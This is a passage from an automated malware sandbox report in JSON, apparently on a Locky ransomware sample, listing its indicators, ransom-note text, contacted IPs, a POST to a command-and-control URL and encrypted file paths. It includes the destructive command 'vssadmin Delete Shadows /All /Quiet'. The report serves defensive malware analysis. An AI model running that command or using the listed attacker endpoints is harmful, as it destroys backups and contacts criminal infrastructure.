\"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"vssadmin.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1\" (SID: 2018358, Rev: 7, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$26","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates/touches files in windows directory","description":"\"\" created file \"C:\\Windows\\system32\\rsaenh.dll\"\n \"\" created file \"C:\\Windows\\\"\n \"\" created file \"C:\\Windows\\Globalization\\Sorting\\sortdefault.nls\"\n \"\" created file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \"\" created file \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\"\n \"\" created file \"C:\\Users\\PSPUBWS\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat\"\n \"\" created file \"C:\\Windows\\system32\\vssadmin.exe\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"83.217.8.155\"\n \"51.254.240.60\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"All of your files are encrypted with RSA-2048 and AES-128 ciphers.\" (Source: _HELP_instructions.html, Indicator: \"files are encrypted\")\n \"Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server.\" (Source: _HELP_instructions.html, Indicator: \"private key and decrypt program\")","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$27","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetFileSize\n GetModuleHandleA\n MapViewOfFile\n GetCommandLineA\n CreateFileW\n GetFileAttributesA\n VirtualProtect\n LoadLibraryA\n GetModuleFileNameW\n GetStartupInfoW\n GetModuleFileNameA\n Sleep\n CreateDirectoryA\n IsDebuggerPresent\n FindResourceW\n FindNextFileA\n CopyFileA\n DeleteFileA\n FindResourceExW\n GetFileSizeEx\n FindResourceExA\n FindFirstFileA\n LoadLibraryExA\n WriteFile\n GetTempFileNameA\n GetDriveTypeW\n FindFirstFileExA\n GetVersionExA\n CreateFileMappingA\n CreateThread\n GetModuleHandleW\n GetFileAttributesExA\n UnhandledExceptionFilter\n CreateProcessA\n CreateFileA\n LoadLibraryW\n LoadLibraryExW\n GetTickCount\n WinExec\n GetDriveTypeA\n GetProcAddress\n TerminateProcess\n GetTempPathA\n FindResourceA\n LockResource\n GetWindowThreadProcessId\n RegOpenKeyExW\n RegCreateKeyExW\n RegCreateKeyW\n OpenProcessToken\n StartServiceW\n CreateProcessAsUserW\n RegEnumKeyW\n StartServiceCtrlDispatcherW\n RegCloseKey\n CreateServiceW\n RegOpenKeyW\n GetModuleFileNameExW","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"8/56 Antivirus vendors marked sample as malicious (14% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in foreign process","description":"\"\" allocated 00000088 bytes of memory in \"vssadmin.exe\" (Protection: \"read/write\")","origin":"API Call","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"\" wrote 32 bytes to a foreign process \"vssadmin.exe\" (PID: 00003988)\n \"\" wrote 52 bytes to a foreign process \"vssadmin.exe\" (PID: 00003988)\n \"\" wrote 4 bytes to a foreign process \"vssadmin.exe\" (PID: 00003988)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by Ransomware)","description":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"Delete Shadows /All /Quiet\" (UID: 00192062-00003988)","origin":"Monitored Target","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The input sample dropped a known ransomware file","description":"$28","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"\" had access to \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\" (Type: \"FileHandle\"; Context: \"NtSetInformationFile\")","origin":"Touched Handle","relevance":5,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtQueryVirtualMemory@NTDLL.DLL at 00141062-00003808-76F4228D-150750","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Contains ability to listen for incoming connections"}],"sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"name":"Spyware/Leak","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"name":"Ransomware","details_count":2,"details":[{"detail":"The input sample dropped a known ransomware file"},{"detail":"Deletes volume snapshots (often used by Ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":7,"imported_dlls_count":61,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":140,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":0,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5723366baac2ed8161fd9d9e","environment_id":1,"environment_description":"Windows 7 32 bit - Usermode Monitor","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic.pak","contacted_countries":["FRA","RUS"],"submit_name":"malware1.exe","analysis_start_time":"2016-04-29T05:24:56+00:00","indicators_count":{"informative":10,"suspicious":23,"malicious":9},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"5723316faac2edca2ffd9d9d","environment_id":4,"environment_description":"Windows 7 32 bit - Kernelmode Monitor","state":"SUCCESS","verdict":"malicious","threat_score":97,"malware_family":"Trojan.Generic.pak","contacted_countries":["FRA"],"submit_name":"u7udssd","analysis_start_time":"2016-04-29T05:04:06+00:00","indicators_count":{"informative":9,"suspicious":22,"malicious":7},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"83.217.8.155","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"address":"51.254.240.60","port":80,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]}],"dns_resolutions":null,"http_requests":[{"host":"83.217.8.155","host_ip":"83.217.8.155:80","url":"/userinfo.php","method":"POST","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}],"processes":[{"pid":3808,"ppid":0,"name":"malware1.exe","command_line":"","normalized_path":"Z:\\malware1.exe","uid":"00141062-00003808"},{"pid":3988,"ppid":3808,"name":"vssadmin.exe","command_line":"Delete Shadows /All /Quiet","normalized_path":"%WINDIR%\\system32\\vssadmin.exe","parent_uid":"00141062-00003808","uid":"00192062-00003988"}],"all_imported_dlls":["cscapi.dll","SETUPAPI.dll","CRYPTSP.dll","RASAPI32.dll","rasadhlp.dll","wkscli.dll","CLBCatQ.DLL","sechost.dll","VERSION.dll","CRYPTBASE.dll","urlmon.dll","USP10.dll","SHLWAPI.dll","rsaenh.dll","davclnt.dll","MSCTF.dll","MPR.dll","NETAPI32.dll","ATL.DLL","OLEAUT32.dll","KERNELBASE.dll","browcli.dll","USERENV.dll","USER32.dll","msvcrt.dll","WTSAPI32.dll","ADVAPI32.dll","wshtcpip.DLL","oledlg.dll","ntdll.dll","LPK.dll","VSSAPI.DLL","IMM32.DLL","rtutils.dll","ntlanman.dll","RpcRtRemote.dll","comctl32.dll","rasman.dll","netutils.dll","apphelp.dll","GDI32.dll","kernel32.dll","RPCRT4.dll","uxtheme.dll","SspiCli.dll","CFGMGR32.dll","WININET.dll","ole32.dll","DEVOBJ.dll","NLAapi.dll","drprov.dll","SHELL32.dll","vss_ps.dll","sensapi.dll","PSAPI.DLL","ntmarta.dll","iphlpapi.DLL","wshqos.dll","profapi.dll","mswsock.dll","VssTrace.DLL"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"%WINDIR%\\system32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"MountPointManager","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"PIPE\\lsarpc","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"\\Device\\Afd\\AsyncConnectHlp","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"PIPE\\DAV RPC SERVICE","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%WINDIR%\\system32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"UNC\\192.168.56.1\\VM11\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\32C0D883E1644D0A6E00AEAEB8522CFF.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-0015-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0AFB051735EB1DB37B.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-0015-0407-0000-0000000FF1CE}-C\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-0015-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A509F9F19E4A158F0.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-0016-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A6D062D292B9B1EC5.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-0016-0407-0000-0000000FF1CE}-C\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-0016-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A04694CFCA05E7274.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-0018-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A03DA040AAFAAC324.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-0018-0407-0000-0000000FF1CE}-C\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-0018-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A7FE6D8CD8D21A259.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-0019-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A9C047C2E923581CC.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-0019-0407-0000-0000000FF1CE}-C\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-0019-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A2BA065E17304EA4D.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-001A-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A885996A2B0598955.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-001A-0407-0000-0000000FF1CE}-C\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-001A-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A227A0A5222383AE5.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-001B-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A8C2FD5B7262C13BD.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-001B-0407-0000-0000000FF1CE}-C\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-001B-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A6DB96643D47BCBCC.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\Proof.de\\32C0D883E1644D0A8EC0D26F87564896.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\Proof.de\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\Proof.en\\32C0D883E1644D0AEA23DA30D2138123.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\Proof.en\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\Proof.fr\\32C0D883E1644D0A66B68718A67CED99.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\Proof.fr\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\Proof.it\\32C0D883E1644D0AF3DF19ECE784C244.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\Proof.it\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0AC5B33FED7C86B562.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-002C-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0AB172968D1AAF6F2E.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-006E-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A88D3E2DFB23254B4.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{90120000-006E-0407-0000-0000000FF1CE}-C\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-006E-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0A27363E48721242A5.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{90120000-006E-0407-0000-0000000FF1CE}-C\\32C0D883E1644D0AE8393FBB0D640C4C.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{91120000-0031-0000-0000-0000000FF1CE}-C\\32C0D883E1644D0A7F85473C2A5ED567.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"c:\\MSOCache\\All Users\\{91120000-0031-0000-0000-0000000FF1CE}-C\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{91120000-0031-0000-0000-0000000FF1CE}-C\\32C0D883E1644D0A23D1EC8096334946.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"C:\\MSOCache\\All Users\\{91120000-0031-0000-0000-0000000FF1CE}-C\\32C0D883E1644D0AB7AA3750FE198F2F.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\32C0D883E1644D0ACDBE274E5DA9BBD7.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\32C0D883E1644D0ACA39EA3681C2F693.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\32C0D883E1644D0ABA17034EF147467A.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\32C0D883E1644D0A10D40D0A84944669.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\32C0D883E1644D0ADEAF0C91DC47E574.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\32C0D883E1644D0A864A3A76A48709DD.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\32C0D883E1644D0A485CA12BEBA44C4D.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Sun\\Java\\Java Update\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows NT\\MSScan\\32C0D883E1644D0AA6FAE37E8543D890.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows NT\\MSScan\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\32C0D883E1644D0AE7B20F93C960172D.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\32C0D883E1644D0A27B21575AF23C7E4.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\_HELP_instructions.html","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\32C0D883E1644D0A7CF54564F0269758.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\32C0D883E1644D0A1E0F82CD81B47B23.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\32C0D883E1644D0A38E4B257EE124A05.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\32C0D883E1644D0AE744ED45630C5282.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\32C0D883E1644D0AC661825A905B7056.locky","sources":[{"report_type":"sandbox","report_id":"5723366baac2ed8161fd9d9e"}]},{"path":"%PUBLIC%\\Pictures\\Sample 